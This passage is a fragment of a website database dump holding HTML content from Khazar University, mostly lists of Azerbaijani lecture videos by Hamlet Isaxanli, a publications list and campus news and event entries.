style=\"font-size:medium\"><strong>Dokotorant təhsili<strong>&nbsp;</strong>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=etolF8UWGOs\">Ali Təhsildə Bolonya sistemi</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?edit=vd&amp;v=SGsSVIYNGgY\">Ali Təhsildə Avropa və Amerika ənənələri</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=Hp6CiJInC-Y&amp;edit=vd\">Təhsildə keyfiyyət</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=kU9BDTYUOcY\">Mirzə Şəfi Vazeh, Bodenştedt- 2</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=2fmKPpL7j9k\">Part 2</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=xVTr4FR5Eco\">Mirzə Şəfi Vazeh, Bodenştedt- 1</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=2exukzNw6Pk\">Part 2</a>  <br></strong></p><p style=\"font-size:medium\"><strong>Bologna prosesi  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=4smBvnC52Hk\">Bakıxanov</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=nkyeanJFvgs\">Part 2</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=UL61AwOMItU\">Tarix və ədəbiyyat</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=wWiQ2g_XO58\">Azərbaycanlılar tarix boyu Amerikalılar haqqında nə düşünmüşlər</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=wRIAkmwXpMU\">Zərdüşt və atəşpərəstlik</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=AZpOIjSA1l8\">Qədim Misir və Mesopotamiyada dinlər, miflər</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=lg8YkyR6SB8\">Ellenistik dövrdə elm inkişafı</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=icE-zz5No68\">Sokrat</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=FGrtK4glP_U\">Fəlsəfi məzmunlu ədəbiyyat- 1</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=hpLt7iMo8bA&amp;index=38&amp;list=PLQS7vQph63kH666BlomYriGq-iyn1n8xF\">Əndəlüs 3 (tibb)</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=qz9P4k23i7k&amp;index=37&amp;list=PLQS7vQph63kH666BlomYriGq-iyn1n8xF\">Part 2</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=Bk_64OlhCSo&amp;index=36&amp;list=PLQS7vQph63kH666BlomYriGq-iyn1n8xF\">Part 3</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=C93xFXCP2ts&amp;index=41&amp;list=PLQS7vQph63kH666BlomYriGq-iyn1n8xF\">Əndəlüs 2 (musiqi)</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=VsjKHx7k3-c&amp;index=40&amp;list=PLQS7vQph63kH666BlomYriGq-iyn1n8xF\">Part 2</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=DjzbPZiYKaY&amp;index=39&amp;list=PLQS7vQph63kH666BlomYriGq-iyn1n8xF\">Part 3</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=Gw5W9dKTV34&amp;index=43&amp;list=PLQS7vQph63kH666BlomYriGq-iyn1n8xF\">Əndəlüs- İspaniyada İslam sivilizasiyası</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=9JcA4d15e10&amp;index=42&amp;list=PLQS7vQph63kH666BlomYriGq-iyn1n8xF\">Part 2</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=1g6jvuwImIQ&amp;index=44&amp;list=PLQS7vQph63kH666BlomYriGq-iyn1n8xF\">Qədim Hunlarda torpaq davası</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=Or_47Rnr1jw&amp;index=46&amp;list=PLQS7vQph63kH666BlomYriGq-iyn1n8xF\">Part 2</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=TVvF4qg3hyc&amp;index=49&amp;list=PLQS7vQph63kH666BlomYriGq-iyn1n8xF\">Qədim Yunanistan və Roma dövrünün fəlsəfə cərəyanları</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=exEad_ydosY&amp;index=48&amp;list=PLQS7vQph63kH666BlomYriGq-iyn1n8xF\">Part 2</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=S4Wt5WqDeIw&amp;index=45&amp;list=PLQS7vQph63kH666BlomYriGq-iyn1n8xF\">Qədim Yunanistan Atom məktəbi</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=4SsprkLBHlw&amp;index=47&amp;list=PLQS7vQph63kH666BlomYriGq-iyn1n8xF\">Part 2</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=bEA0y0a705c&amp;index=63&amp;list=PLQS7vQph63kH666BlomYriGq-iyn1n8xF\">Poetik tərcümə və olun rolu</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=UzkC-PD956g&amp;index=62&amp;list=PLQS7vQph63kH666BlomYriGq-iyn1n8xF\">Part 2</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=JBKHNdDPqnU&amp;index=64&amp;list=PLQS7vQph63kH666BlomYriGq-iyn1n8xF\">Part 3</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=f4rOgfUjEYQ&amp;index=55&amp;list=PLQS7vQph63kH666BlomYriGq-iyn1n8xF\">Ömər Xəyyam</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=GNFa3dVFKX4&amp;index=54&amp;list=PLQS7vQph63kH666BlomYriGq-iyn1n8xF\">Part 2</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=cMEuRBL6Wog&amp;index=53&amp;list=PLQS7vQph63kH666BlomYriGq-iyn1n8xF\">Part 3</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=RUuUD2pM4RA\">İbn Sina</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=0f3xDCDe_4c\">Part 2</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=ma2XPKg4v7I\">Part 3</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=o6rndErNxnY&amp;index=61&amp;list=PLQS7vQph63kH666BlomYriGq-iyn1n8xF\">əl-Biruni</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=5jcNBtkkNxY\">Part 2</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=HEe-zTOH1D8&amp;index=60&amp;list=PLQS7vQph63kH666BlomYriGq-iyn1n8xF\">Part 3</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=Mbd7KZ5VNyA&amp;index=58&amp;list=PLQS7vQph63kH666BlomYriGq-iyn1n8xF\">Alkimiya</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=tDwLxoCVpFA&amp;index=56&amp;list=PLQS7vQph63kH666BlomYriGq-iyn1n8xF\">Part 2</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=4b1FoIO-XTg&amp;index=57&amp;list=PLQS7vQph63kH666BlomYriGq-iyn1n8xF\">Part 3</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=k7tBTFlHuJg&amp;index=52&amp;list=PLQS7vQph63kH666BlomYriGq-iyn1n8xF\">Yazı, kitab tarixi</a>&nbsp;</strong></p><p style=\"font-size:medium\"><a href=\"https://www.youtube.com/watch?v=kfu4x8YzP9k&amp;index=50&amp;list=PLQS7vQph63kH666BlomYriGq-iyn1n8xF\"><strong>Part 2</strong></a></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=kfu4x8YzP9k&amp;index=50&amp;list=PLQS7vQph63kH666BlomYriGq-iyn1n8xF\"></a><a href=\"https://www.youtube.com/watch?v=WG8CjzyGRVw&amp;index=51&amp;list=PLQS7vQph63kH666BlomYriGq-iyn1n8xF\">Part 3</a>&nbsp;</strong></p><p style=\"font-size:medium\"><br></p><p style=\"font-size:medium\"><a href=\"https://www.youtube.com/watch?v=spPmVpruCIg&amp;feature=youtu.be\">AzTV \"Ovqat\" Program (in Azerbaijani) on March 2, 2014 with Gulyanaq Memmedova</a></p><iframe width=\"480\" height=\"390\" src=\"http://www.youtube.com/embed/spPmVpruCIg\" frameborder=\"0\"></iframe><span style=\"font-size:medium\"></span><p style=\"font-size:medium\"><br></p>\r\n<p style=\"font-size:medium\"><strong>Daha çox videoya baxmaq üçün:</strong></p><p style=\"font-size:medium\"><a title=\"Hamlet Isaxanli youtube channel\" href=\"http://www.youtube.com/channel/UCZ0-SSdansKXIXaF5rkesuA\">Hamlet Isaxanli YouTube Channel</a></p>'),(1331,844,'en',' Videos',' Videos','<p><strong>2016</strong></p><iframe width=\"480\" height=\"390\" src=\"https://www.youtube.com/embed/d0IVoRzybEo\" frameborder=\"0\"></iframe><p style=\"font-size:medium\"><br></p><p style=\"font-size:medium\"><a href=\"https://youtu.be/p3lU75uSQPQ\">Avropanın\r\ntəşəkkülü və xaç yürüşləri</a>  </p><p style=\"font-size:medium\"><a href=\"https://youtu.be/p9OOzOISobw\">Avropa\r\ntarixi 3</a>  <br></p><p style=\"font-size:medium\"><a href=\"https://youtu.be/D67ayftRnKY\">Avropa\r\ntarixi 2</a>  <br></p><p style=\"font-size:medium\"><a href=\"https://youtu.be/1YCB9meovHw\">Avropanın\r\nilk universitetləri- 1</a>  <br></p><p style=\"font-size:medium\"><a href=\"https://youtu.be/fs71ldKBFjY\">Qədim\r\nMisir və Mesopotamiyada həyat və ölüm fəlsəfələri, Gilqameş dastanı</a>  <br></p><p style=\"font-size:medium\"><a href=\"https://youtu.be/EqKgL5lbGB0\">14 cü əsr\r\nAvropa intellektualları</a>  <br></p><p style=\"font-size:medium\"><br></p><p style=\"font-size:medium\"><a href=\"https://www.youtube.com/watch?v=AVHZpW_AF9Y\">Eurasian Academy Introductory Film</a></p><iframe width=\"480\" height=\"390\" src=\"http://www.youtube.com/embed/AVHZpW_AF9Y\" frameborder=\"0\"></iframe><span style=\"font-size:medium\"></span><p style=\"font-size:medium\">&nbsp;</p><p style=\"font-size:medium\"><strong>Triangle of Science Broadcasts on Public TV</strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=-rFH2icFMTw&amp;index=7&amp;list=PLQS7vQph63kH666BlomYriGq-iyn1n8xF\">Qloballaşma və onun nəticələri: Avropa</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=kMSYfLdaHxI&amp;index=8&amp;list=PLQS7vQph63kH666BlomYriGq-iyn1n8xF\">Avropa tarixi</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=awwJOW27Yho&amp;index=4&amp;list=PLQS7vQph63kH666BlomYriGq-iyn1n8xFhttps://www.youtube.com/watch?v=rxBPBMBCN1E\">Saatlar və təqvimlər</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=awwJOW27Yho\">Dünyada mövcud olan təqvimlər</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=mumTvnTWdOc\">Zaman anlayışı</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=5VD2nj_HW3c&amp;index=2&amp;list=PLQS7vQph63kH666BlomYriGq-iyn1n8xF\">Zaman (Zaman və nisbinlik nəzəriyyəsi)</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=IbhcAKikkOw\">Zaman 2:&nbsp; Psixologika və fikiza</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=I26wo1IduRE\">Zaman:&nbsp;Psixologika və fikiza</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=xvDUdmfpvbU\">Dil və dil yaranması</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=nWIwP02gb1w\">Qloballaşma və onun təsirləri</a>  <br></strong></p><p style=\"font-size:medium\"><strong>Dokotorant təhsili<strong>&nbsp;</strong>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=etolF8UWGOs\">Ali Təhsildə Bolonya sistemi</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?edit=vd&amp;v=SGsSVIYNGgY\">Ali Təhsildə Avropa və Amerika ənənələri</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=Hp6CiJInC-Y&amp;edit=vd\">Təhsildə keyfiyyət</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=kU9BDTYUOcY\">Mirzə Şəfi Vazeh, Bodenştedt- 2</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=2fmKPpL7j9k\">Part 2</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=xVTr4FR5Eco\">Mirzə Şəfi Vazeh, Bodenştedt- 1</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=2exukzNw6Pk\">Part 2</a>  <br></strong></p><p style=\"font-size:medium\"><strong>Bologna prosesi  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=4smBvnC52Hk\">Bakıxanov</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=nkyeanJFvgs\">Part 2</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=UL61AwOMItU\">Tarix və ədəbiyyat</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=wWiQ2g_XO58\">Azərbaycanlılar tarix boyu Amerikalılar haqqında nə düşünmüşlər</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=wRIAkmwXpMU\">Zərdüşt və atəşpərəstlik</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=AZpOIjSA1l8\">Qədim Misir və Mesopotamiyada dinlər, miflər</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=lg8YkyR6SB8\">Ellenistik dövrdə elm inkişafı</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=icE-zz5No68\">Sokrat</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=FGrtK4glP_U\">Fəlsəfi məzmunlu ədəbiyyat- 1</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=hpLt7iMo8bA&amp;index=38&amp;list=PLQS7vQph63kH666BlomYriGq-iyn1n8xF\">Əndəlüs 3 (tibb)</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=qz9P4k23i7k&amp;index=37&amp;list=PLQS7vQph63kH666BlomYriGq-iyn1n8xF\">Part 2</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=Bk_64OlhCSo&amp;index=36&amp;list=PLQS7vQph63kH666BlomYriGq-iyn1n8xF\">Part 3</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=C93xFXCP2ts&amp;index=41&amp;list=PLQS7vQph63kH666BlomYriGq-iyn1n8xF\">Əndəlüs 2 (musiqi)</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=VsjKHx7k3-c&amp;index=40&amp;list=PLQS7vQph63kH666BlomYriGq-iyn1n8xF\">Part 2</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=DjzbPZiYKaY&amp;index=39&amp;list=PLQS7vQph63kH666BlomYriGq-iyn1n8xF\">Part 3</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=Gw5W9dKTV34&amp;index=43&amp;list=PLQS7vQph63kH666BlomYriGq-iyn1n8xF\">Əndəlüs- İspaniyada İslam sivilizasiyası</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=9JcA4d15e10&amp;index=42&amp;list=PLQS7vQph63kH666BlomYriGq-iyn1n8xF\">Part 2</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=1g6jvuwImIQ&amp;index=44&amp;list=PLQS7vQph63kH666BlomYriGq-iyn1n8xF\">Qədim Hunlarda torpaq davası</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=Or_47Rnr1jw&amp;index=46&amp;list=PLQS7vQph63kH666BlomYriGq-iyn1n8xF\">Part 2</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=TVvF4qg3hyc&amp;index=49&amp;list=PLQS7vQph63kH666BlomYriGq-iyn1n8xF\">Qədim Yunanistan və Roma dövrünün fəlsəfə cərəyanları</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=exEad_ydosY&amp;index=48&amp;list=PLQS7vQph63kH666BlomYriGq-iyn1n8xF\">Part 2</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=S4Wt5WqDeIw&amp;index=45&amp;list=PLQS7vQph63kH666BlomYriGq-iyn1n8xF\">Qədim Yunanistan Atom məktəbi</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=4SsprkLBHlw&amp;index=47&amp;list=PLQS7vQph63kH666BlomYriGq-iyn1n8xF\">Part 2</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=bEA0y0a705c&amp;index=63&amp;list=PLQS7vQph63kH666BlomYriGq-iyn1n8xF\">Poetik tərcümə və olun rolu</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=UzkC-PD956g&amp;index=62&amp;list=PLQS7vQph63kH666BlomYriGq-iyn1n8xF\">Part 2</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=JBKHNdDPqnU&amp;index=64&amp;list=PLQS7vQph63kH666BlomYriGq-iyn1n8xF\">Part 3</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=f4rOgfUjEYQ&amp;index=55&amp;list=PLQS7vQph63kH666BlomYriGq-iyn1n8xF\">Ömər Xəyyam</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=GNFa3dVFKX4&amp;index=54&amp;list=PLQS7vQph63kH666BlomYriGq-iyn1n8xF\">Part 2</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=cMEuRBL6Wog&amp;index=53&amp;list=PLQS7vQph63kH666BlomYriGq-iyn1n8xF\">Part 3</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=RUuUD2pM4RA\">İbn Sina</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=0f3xDCDe_4c\">Part 2</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=ma2XPKg4v7I\">Part 3</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=o6rndErNxnY&amp;index=61&amp;list=PLQS7vQph63kH666BlomYriGq-iyn1n8xF\">əl-Biruni</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=5jcNBtkkNxY\">Part 2</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=HEe-zTOH1D8&amp;index=60&amp;list=PLQS7vQph63kH666BlomYriGq-iyn1n8xF\">Part 3</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=Mbd7KZ5VNyA&amp;index=58&amp;list=PLQS7vQph63kH666BlomYriGq-iyn1n8xF\">Alkimiya</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=tDwLxoCVpFA&amp;index=56&amp;list=PLQS7vQph63kH666BlomYriGq-iyn1n8xF\">Part 2</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=4b1FoIO-XTg&amp;index=57&amp;list=PLQS7vQph63kH666BlomYriGq-iyn1n8xF\">Part 3</a>  <br></strong></p><p style=\"font-size:medium\"><strong><a href=\"https://www.youtube.com/watch?v=k7tBTFlHuJg&amp;index=52&amp;list=PLQS7vQph63kH666BlomYriGq-iyn1n8xF\">Yazı, kitab tarixi</a>&nbsp;</strong></p><p style=\"font-size:medium\"><strong></strong><a href=\"https://www.youtube.com/watch?v=kfu4x8YzP9k&amp;index=50&amp;list=PLQS7vQph63kH666BlomYriGq-iyn1n8xF\">Part 2</a></p><p style=\"font-size:medium\"><a href=\"https://www.youtube.com/watch?v=kfu4x8YzP9k&amp;index=50&amp;list=PLQS7vQph63kH666BlomYriGq-iyn1n8xF\"></a><a href=\"https://www.youtube.com/watch?v=WG8CjzyGRVw&amp;index=51&amp;list=PLQS7vQph63kH666BlomYriGq-iyn1n8xF\">Part 3</a>&nbsp;</p><p style=\"font-size:medium\"><br></p><p style=\"font-size:medium\"><a href=\"https://www.youtube.com/watch?v=spPmVpruCIg&amp;feature=youtu.be\">AzTV \"Ovqat\" Program (in Azerbaijani) on March 2, 2014 with Gulyanaq Memmedova</a></p><iframe width=\"480\" height=\"390\" src=\"http://www.youtube.com/embed/spPmVpruCIg\" frameborder=\"0\"></iframe><span style=\"font-size:medium\"></span><p style=\"font-size:medium\"><br></p><p style=\"font-size:medium\"><strong>See more videos:</strong></p><p style=\"font-size:medium\"><a title=\"Hamlet Isaxanli youtube channel\" href=\"http://www.youtube.com/channel/UCZ0-SSdansKXIXaF5rkesuA\">Hamlet Isaxanli YouTube Channel</a></p>'),(1332,845,'az','Nəşrlər','Nəşrlər','<h3><strong>Müəllifi\r\nolduğu kitablar:</strong></h3>\r\n<p>“Bu da bir həyatdır”. Bakı: Xəzər Universiteti Nəşriyyatı,\r\n2010.</p>\r\n<p>“Ziyarət”. Bakı: Xəzər Universiteti Nəşriyyatı,\r\n2009.</p>\r\n<p>“Müasir dünyada ali təhsil sistemində nələr baş\r\nverir”. Bakı. Xəzər Universiteti Nəşriyyatı, 2008.</p>\r\n<p>“Dördlüklər”. Bakı: Xəzər Universiteti Nəşriyyatı,\r\n2007. </p>\r\n<p>“Xəzərin sorağında”. Bakı: Xəzər Universiteti Nəşriyyatı,\r\n2006.</p>\r\n<p><em>On\r\nEducation System in Trasition Economy</em>. Baku: Khazar University Press, 2006.</p>\r\n<p>“Təzadlar”. Bakı: Xəzər Universiteti Nəşriyyatı,\r\n2001.&nbsp; &nbsp;</p>\r\n<p>Isaxanlı, Hamlet, Elza Ismayılova and Firangiz Nasirova.\r\n<em>The Azerbaijani Language</em>. Baku:\r\nKhazar University Press, 1997.</p>\r\n<h3><strong>Tərtib etdiyi kitablar:</strong></h3>\r\n<p>“Elm və\r\nSənət Məclisi”( iki cild). Bakı: Xəzər universiteti Nəşriyyatı, 2008-11.</p>\r\n<p>“Azərbaycan\r\nSevgi Poeziyası” (üç cild). Bakı: Xəzər Universiteti Nəşriyyatı, 2008-09.</p>\r\n<h3><strong>Tərcümələr:</strong></h3>\r\n<p>“Poetik\r\ntərcümələr” (1-ci toplu). Bakı: Xəzər universiteti Nəşriyyatı, 2005.</p>\r\n<h3><strong>Haqqında yazılan kitablar:</strong></h3>\r\n<p>“Biblioqrafiya: alim, qurucu, şair”. Bakı: Xəzər Universiteti Nəşriyyatı, 2010.  <br></p><p>Aslan, Knyaz və Vahid Ömərli. “Bu dünyaya nə gətirdim”.\r\nBakı: Xəzər Universiteti Nəşriyyatı, 2005.</p>'),(2761,1649,'az','Xəzər Universitetində Müasir Akademik Musiqi Konfransı keçiriləcək','2016-cı il dekabrın 3-ü saat 14:00-da Xəzər Universitetinin “Mərmər” salonunda (“Neftçilər” kampusunda) “Müasir Akademik Musiqinin inkişafı və perspektivləri...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2016-cı\r\nil dekabrın 3-ü saat 14:00-da Xəzər Universitetinin “Mərmər” salonunda\r\n(“Neftçilər” kampusunda) “Müasir Akademik Musiqinin inkişafı və perspektivləri.\r\nMüəllif hüquqlarının qorunması nümunəsi əsasında musiqi müxtəlifliyinin\r\nsaxlanılması və inkişafı” adlı konfrans keçiriləcək. Konfrans Türksoy, Xəzər\r\nUniversiteti və Azərbaycan Müəlliflər Birliyi tərəfindən təşkil olunur. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">İştirak\r\netmək istəyənlər dəvətlidir.&nbsp;</p>'),(2499,1497,'en','September Issue of Khazar Review Journal Printed','The September 2016 issue (number 354) of Khazar Review has been printed by Khazar University Press. The full journal may be read at this link...','<p>The\r\nSeptember 2016 issue (number 354) of Khazar Review has been printed by Khazar\r\nUniversity Press. The full journal may be read at this link:&nbsp; <a href=\"http://khazar-review.khazar.org/\">http://khazar-review.khazar.org/</a> </p>'),(2720,1630,'az','Arxiv','Arxiv',''),(2721,1630,'en','Archive','Archive',''),(2722,1631,'az','2016','2016',''),(2723,1631,'en','2016','2016',''),(2724,1633,'en','2015','2015',''),(2725,1633,'az','2015','2015',''),(2726,1632,'az','2014','2014',''),(2727,1632,'en','2014','2014',''),(2728,1634,'az','2016','2016','<p>27.10.2016 Business Meeting with Leveland Karyera mərkəzi&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1353546581322410\" target=\"_blank\">FOTO</a>)</p><p>26.10.2016 Potensial direktorlar 5&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1352614731415595\" target=\"_blank\">FOTO</a>)<br></p><p>24.10.2016 Potensial Direktorlar 5&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1351499231527145\" target=\"_blank\">FOTO</a>)<br></p><p>22.10.2016 Tələbə Məclisi Bilik yarışı&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1350722184938183\" target=\"_blank\">FOTO</a>)<br></p><p>21.10.2016 ESFIDIP&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1347639088579826\" target=\"_blank\">FOTO</a>)<br></p><p>20.10.2016 Müstəqillik günü ilə bağlı prezentasiya&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1346837598659975\" target=\"_blank\">FOTO</a>)<br></p><p>20.10.2016&nbsp;İsmət və Rüfət ad günü&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1346781538665581\" target=\"_blank\">FOTO</a>)<br></p><p>20.10.2016 CEFAM&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1346681798675555\" target=\"_blank\">FOTO</a>)<br></p><p>15.10.2016&nbsp;40 - 41-ci Buraxılış gecəsi&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1344708932206175\" target=\"_blank\">FOTO</a>)<br></p><p>17.10.2016 Ceffri Verbok solo konserti&nbsp;(<a href=\"http://www.khazar.org/mfe/FOTO\" target=\"_blank\">FOTO</a>)<br></p><p>13.10.2016 Tempus ESFIDIP layihəsi &nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1339522216058180\" target=\"_blank\">FOTO</a>)<br></p><p>11.10.2016 